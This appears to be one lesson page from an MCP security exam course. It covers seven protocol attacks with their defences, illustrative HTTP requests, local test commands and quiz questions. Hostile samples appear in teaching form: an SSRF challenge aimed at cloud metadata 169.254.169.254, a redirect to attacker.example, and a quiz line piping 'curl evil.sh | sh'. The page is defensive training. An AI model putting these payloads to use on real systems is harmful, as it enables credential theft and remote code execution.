MCP 2026-07-28 one lesson per page
23 lessons
Security-criticalSecurity & Governance · 24%Track 1 · 7 / 9

Seven attacks the exam expects you to recognise

The official security best practices name specific attacks, each with conditions that make it possible and a rule that stops it. Learn them as pairs: the setup, and the one control that breaks it.

Listen to this lessonAudio overview in Gemini Notebook · about 15–25 min · opens in a new tab

The proxy that said yes for you

A team builds an MCP server that proxies to a third-party API. To keep it simple, the proxy uses one static OAuth client ID with that API, and lets MCP clients register dynamically.

Alice uses it legitimately once and approves access. The third-party authorization server sets a consent cookie in her browser.

An attacker registers their own MCP client with the proxy, using a redirect URI they control, and sends Alice a link. Alice clicks. The third-party server sees the cookie, skips the consent screen ("she already approved this client ID"), and the authorization code flows through the proxy to the attacker. The proxy was the confused deputy: it lent its trusted identity to someone Alice never approved.

The fix is one rule: the proxy MUST show its own consent screen for each MCP client (naming the client, the scopes and the redirect URI) before starting the third-party flow.

AttackWhat makes it possibleThe rule that stops it
Confused deputyMCP proxy with a static client ID at a third-party authorization server, dynamic client registration, a consent cookie, no per-client consentProxies MUST implement per-client consent (show client, scopes, redirect URI; CSRF-protected; not frameable), exact redirect-URI matching, single-use state stored only after consent
Token passthroughServer accepts tokens not issued for it and forwards them downstreamServers MUST NOT accept tokens not explicitly issued for them; use a separate upstream token
SSRFA malicious server puts internal URLs (cloud metadata 169.254.169.254, localhost, private IPs) in resource_metadata or authorization server URLsServer-side clients MUST consider SSRF: require HTTPS, block private and link-local ranges, validate redirects, pin DNS, consider an egress proxy
State handle hijackingAttacker obtains or guesses a cart, task or job handleServers MUST verify every request and MUST NOT treat possession of a handle as authentication; bind handles to the user from the token
Local server compromiseOne-click config with a malicious startup command; DNS rebinding to a localhost serverClients MUST show the exact, untruncated command, flag it, require explicit approval; SHOULD sandbox. Servers SHOULD use stdio or authenticate local HTTP
Malicious authorization URLA server returns javascript:, data: or file: URLs, or the client opens URLs via a shellAllow only http(s) (http for loopback in development); MUST reject other schemes; MUST NOT open URLs with shell commands
Mix-upA malicious authorization server obtains a code issued by an honest oneValidate iss (RFC 9207). PKCE alone does not prevent it

Plus scope minimization: request a minimal scope first and elevate with WWW-Authenticate challenges; avoid wildcard scopes and publishing every scope up front.

Every one of these happens at a seam: between your server and someone else's authorization server, between a host and a URL, between a handle and a user. The exam tests whether you can spot which seam is broken from a short scenario, so learn the preconditions, not just the names.

Confused deputy
Compare

This is the attack. Before you switch, predict: where does a single extra check break it?

Victim's browserMCP proxy3rd-party ASAttacker registered a client with redirect = attacker.exampleopens attacker's authorize linkauthorize (static client ID)Consent cookie present: no prompt showncode✕ redirect to attacker.example
Solid arrows are requests, dashed are responses or notifications. Red ✕ is the unsafe or failing step; green is the step that keeps you safe.

Token passthrough

Unsafeserver forwards the client's token
GET /user/repos HTTP/1.1Host: api.github.comAuthorization: Bearer <the token the MCP client sent>
Safeserver uses its own upstream token
GET /user/repos HTTP/1.1Host: api.github.comAuthorization: Bearer <token issued to this MCP server by GitHub>

Illustrative. The incoming token was validated as issued for the MCP server, and is never forwarded.

An SSRF attempt hiding in a 401

Unsafemalicious server's challenge
HTTP/1.1 401 UnauthorizedWWW-Authenticate: Bearer resource_metadata="http://169.254.169.254/latest/meta-data/"
Safewhat a cloud-hosted client should do
// refuse: not HTTPS, and 169.254.0.0/16 is link-local (cloud metadata)blocked: resource_metadata must be https and must not resolve to a private,         loopback or link-local address

Illustrative. The same checks apply to authorization server URLs and redirect targets.

  • Hosted clients that fetch whatever metadata URL a server returns can leak cloud credentials from 169.254.169.254.
  • "Install this MCP server" buttons that run a command without showing it are remote code execution with a nice UI.
  • Desktop clients that open authorization URLs with open or xdg-open through a shell can be tricked into running commands.
First time here? Set up the test helper (once per terminal)
ShellSetup
# 1. In a SECOND terminal, start the reference server (Node 18+, no dependencies)curl -sO https://www.diegozuluaga.dev/mcpa/reference-server.mjsnode reference-server.mjs                 # http://localhost:3000/mcp, logs appear here # 2. In THIS terminal, define the helper every test uses (bash or zsh)export MCP=http://localhost:3000/mcpMETA='"_meta":{"io.modelcontextprotocol/protocolVersion":"2026-07-28","io.modelcontextprotocol/clientCapabilities":{}}'mcp() {  # usage: mcp <method> '<json body>' [extra curl args...]  curl -sS -N "$MCP" \    -H 'Content-Type: application/json' \    -H 'Accept: application/json, text/event-stream' \    -H 'MCP-Protocol-Version: 2026-07-28' \    -H "Authorization: Bearer ${MCP_USER:-alice}" \    -H "Mcp-Method: $1" "${@:3}" -d "$2" \    -w '\nHTTP %{http_code}\n'}# Demo auth: the reference server treats the bearer token as the user's name.# Prefix a command with MCP_USER=bob to act as someone else.

Most of these are client- or proxy-side checks. Two you can run now against the reference server, plus a checklist for your own code.

ShellTests
# 1. State handle hijacking: Bob replays Alice's cart handle (see track 1, sessions)CART=$(mcp tools/call '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"create_cart","arguments":{},'"$META"'}}' -H 'Mcp-Name: create_cart' | sed -n 's/.*"cartId":"\([^"]*\)".*/\1/p')MCP_USER=bob mcp tools/call '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"add_to_cart","arguments":{"cartId":"'"$CART"'","sku":"TV"},'"$META"'}}' -H 'Mcp-Name: add_to_cart'# expect: isError true, "Unknown cart" (possession of the handle is not authentication) # 2. Token passthrough's cousin: a token minted for another server is refusedcurl -sS -i http://localhost:3000/secure/mcp -X POST -H 'Authorization: Bearer token-other' -H 'Content-Type: application/json' -d '{}' | head -1# expect: 401 # 3. Checklist for your own client and proxy:#   - does it refuse resource_metadata/AS URLs that are http, private or link-local?#   - does it show the exact install command and require approval?#   - does it reject javascript:, data:, file: authorization URLs, and avoid shell-open?#   - does your proxy show its own consent screen per client before the upstream flow?

Answer all 5 correctly and this lesson is marked as learned.

Q1A cloud-hosted MCP client gets 401 with resource_metadata="http://169.254.169.254/latest/meta-data/". What should it do?

Q2Which combination makes an MCP proxy vulnerable to the confused deputy attack?

Q3A one-click "Add MCP server" button in a client would run: npx some-server && curl evil.sh | sh. What must the client do?

Q4An authorization server returns an authorization URL starting with javascript:. What should the client do?

Q5Which statement about mix-up attacks is true?

Feedback or a correction? Email diego [at] diegozuluaga [dot] dev or open an issue on GitHub.

Content CC BY 4.0 · Code MIT

Tip: ← and → move between lessons. Hover any heading and press # to copy a link to it.